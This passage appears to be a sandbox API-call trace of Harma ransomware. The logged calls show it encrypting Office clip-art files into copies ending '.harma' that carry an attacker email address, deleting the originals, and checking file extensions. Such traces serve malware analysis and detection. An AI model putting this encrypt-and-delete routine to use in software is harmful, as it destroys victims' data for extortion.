[0170.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0170.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0170.830] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.830] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.831] GetLastError () returned 0x0 [0170.831] ReadFile (in: hFile=0x21c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2168, lpOverlapped=0x0) returned 1 [0170.843] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0170.844] ReadFile (in: hFile=0x21c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.844] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.844] SetEndOfFile (hFile=0x34c) returned 1 [0170.845] CloseHandle (hObject=0x34c) returned 1 [0170.845] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.845] SetEndOfFile (hFile=0x21c) returned 1 [0170.848] CloseHandle (hObject=0x21c) returned 1 [0170.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0170.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.850] lstrlenW (lpString=".doc") returned 4 [0170.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.850] lstrlenW (lpString=".docx") returned 5 [0170.850] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.850] lstrlenW (lpString=".pdf") returned 4 [0170.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.850] lstrlenW (lpString=".xls") returned 4 [0170.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.850] lstrlenW (lpString=".xlsx") returned 5 [0170.850] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.850] lstrlenW (lpString=".ppt") returned 4 [0170.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.850] lstrlenW (lpString=".zip") returned 4 [0170.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.850] lstrlenW (lpString=".rar") returned 4 [0170.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.850] lstrlenW (lpString=".bz2") returned 4 [0170.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.851] lstrlenW (lpString=".7z") returned 3 [0170.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.851] lstrlenW (lpString=".dbf") returned 4 [0170.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.851] lstrlenW (lpString=".1cd") returned 4 [0170.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.851] lstrlenW (lpString=".jpg") returned 4 [0170.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.851] lstrlenW (lpString=".doc") returned 4 [0170.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.851] lstrlenW (lpString=".docx") returned 5 [0170.851] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.851] lstrlenW (lpString=".pdf") returned 4 [0170.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.851] lstrlenW (lpString=".xls") returned 4 [0170.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.852] lstrlenW (lpString=".xlsx") returned 5 [0170.852] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.852] lstrlenW (lpString=".ppt") returned 4 [0170.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.852] lstrlenW (lpString=".zip") returned 4 [0170.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.852] lstrlenW (lpString=".rar") returned 4 [0170.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.852] lstrlenW (lpString=".bz2") returned 4 [0170.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.852] lstrlenW (lpString=".7z") returned 3 [0170.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.852] lstrlenW (lpString=".dbf") returned 4 [0170.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.852] lstrlenW (lpString=".1cd") returned 4 [0170.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0170.852] lstrlenW (lpString=".jpg") returned 4 [0170.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.853] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.853] lstrlenW (lpString="J0107266.WMF") returned 12 [0170.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0170.933] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5868) returned 1 [0170.933] CloseHandle (hObject=0x21c) returned 1 [0170.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0170.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0170.934] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.934] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.936] GetLastError () returned 0x0 [0170.936] ReadFile (in: hFile=0x21c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x16ec, lpOverlapped=0x0) returned 1 [0171.144] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0171.145] ReadFile (in: hFile=0x21c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.145] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.145] SetEndOfFile (hFile=0x34c) returned 1 [0171.145] CloseHandle (hObject=0x34c) returned 1 [0171.145] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.145] SetEndOfFile (hFile=0x21c) returned 1 [0171.147] CloseHandle (hObject=0x21c) returned 1 [0171.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0171.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.212] lstrlenW (lpString=".doc") returned 4 [0171.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.212] lstrlenW (lpString=".docx") returned 5 [0171.212] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.212] lstrlenW (lpString=".pdf") returned 4 [0171.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.212] lstrlenW (lpString=".xls") returned 4 [0171.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.212] lstrlenW (lpString=".xlsx") returned 5 [0171.212] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.212] lstrlenW (lpString=".ppt") returned 4 [0171.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.212] lstrlenW (lpString=".zip") returned 4 [0171.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.212] lstrlenW (lpString=".rar") returned 4 [0171.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.212] lstrlenW (lpString=".bz2") returned 4 [0171.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.212] lstrlenW (lpString=".7z") returned 3 [0171.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.212] lstrlenW (lpString=".dbf") returned 4 [0171.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.213] lstrlenW (lpString=".1cd") returned 4 [0171.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.213] lstrlenW (lpString=".jpg") returned 4 [0171.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.214] lstrlenW (lpString=".doc") returned 4 [0171.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString=".docx") returned 5 [0171.214] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.214] lstrlenW (lpString=".pdf") returned 4 [0171.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString=".xls") returned 4 [0171.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.214] lstrlenW (lpString=".xlsx") returned 5 [0171.214] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.214] lstrlenW (lpString=".ppt") returned 4 [0171.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.214] lstrlenW (lpString=".zip") returned 4 [0171.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.214] lstrlenW (lpString=".rar") returned 4 [0171.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString=".bz2") returned 4 [0171.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString=".7z") returned 3 [0171.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.214] lstrlenW (lpString=".dbf") returned 4 [0171.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.214] lstrlenW (lpString=".1cd") returned 4 [0171.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0171.214] lstrlenW (lpString=".jpg") returned 4 [0171.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.215] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.215] lstrlenW (lpString="J0107302.WMF") returned 12 [0171.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0171.294] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4136) returned 1 [0171.294] CloseHandle (hObject=0x34c) returned 1 [0171.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0171.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0171.294] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.294] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.296] GetLastError () returned 0x0 [0171.296] ReadFile (in: hFile=0x34c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1028, lpOverlapped=0x0) returned 1 [0171.310] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1030, lpOverlapped=0x0) returned 1 [0171.311] ReadFile (in: hFile=0x34c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.311] WriteFile (in: hFile=0x33c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.311] SetEndOfFile (hFile=0x33c) returned 1 [0171.453] CloseHandle (hObject=0x33c) returned 1 [0171.453] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.453] SetEndOfFile (hFile=0x34c) returned 1 [0171.455] CloseHandle (hObject=0x34c) returned 1 [0171.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0171.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.488] lstrlenW (lpString=".doc") returned 4 [0171.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString=".docx") returned 5 [0171.489] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.489] lstrlenW (lpString=".pdf") returned 4 [0171.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString=".xls") returned 4 [0171.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.489] lstrlenW (lpString=".xlsx") returned 5 [0171.489] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.489] lstrlenW (lpString=".ppt") returned 4 [0171.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.489] lstrlenW (lpString=".zip") returned 4 [0171.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.489] lstrlenW (lpString=".rar") returned 4 [0171.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString=".bz2") returned 4 [0171.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString=".7z") returned 3 [0171.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.489] lstrlenW (lpString=".dbf") returned 4 [0171.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.489] lstrlenW (lpString=".1cd") returned 4 [0171.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.490] lstrlenW (lpString=".jpg") returned 4 [0171.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.490] lstrlenW (lpString=".doc") returned 4 [0171.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.490] lstrlenW (lpString=".docx") returned 5 [0171.490] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.490] lstrlenW (lpString=".pdf") returned 4 [0171.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.490] lstrlenW (lpString=".xls") returned 4 [0171.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.490] lstrlenW (lpString=".xlsx") returned 5 [0171.490] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.490] lstrlenW (lpString=".ppt") returned 4 [0171.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.490] lstrlenW (lpString=".zip") returned 4 [0171.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.490] lstrlenW (lpString=".rar") returned 4 [0171.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.491] lstrlenW (lpString=".bz2") returned 4 [0171.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.491] lstrlenW (lpString=".7z") returned 3 [0171.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.491] lstrlenW (lpString=".dbf") returned 4 [0171.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.491] lstrlenW (lpString=".1cd") returned 4 [0171.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0171.491] lstrlenW (lpString=".jpg") returned 4 [0171.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.491] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.491] lstrlenW (lpString="J0107342.WMF") returned 12 [0171.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.565] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4244) returned 1 [0171.565] CloseHandle (hObject=0x33c) returned 1 [0171.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0171.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.569] 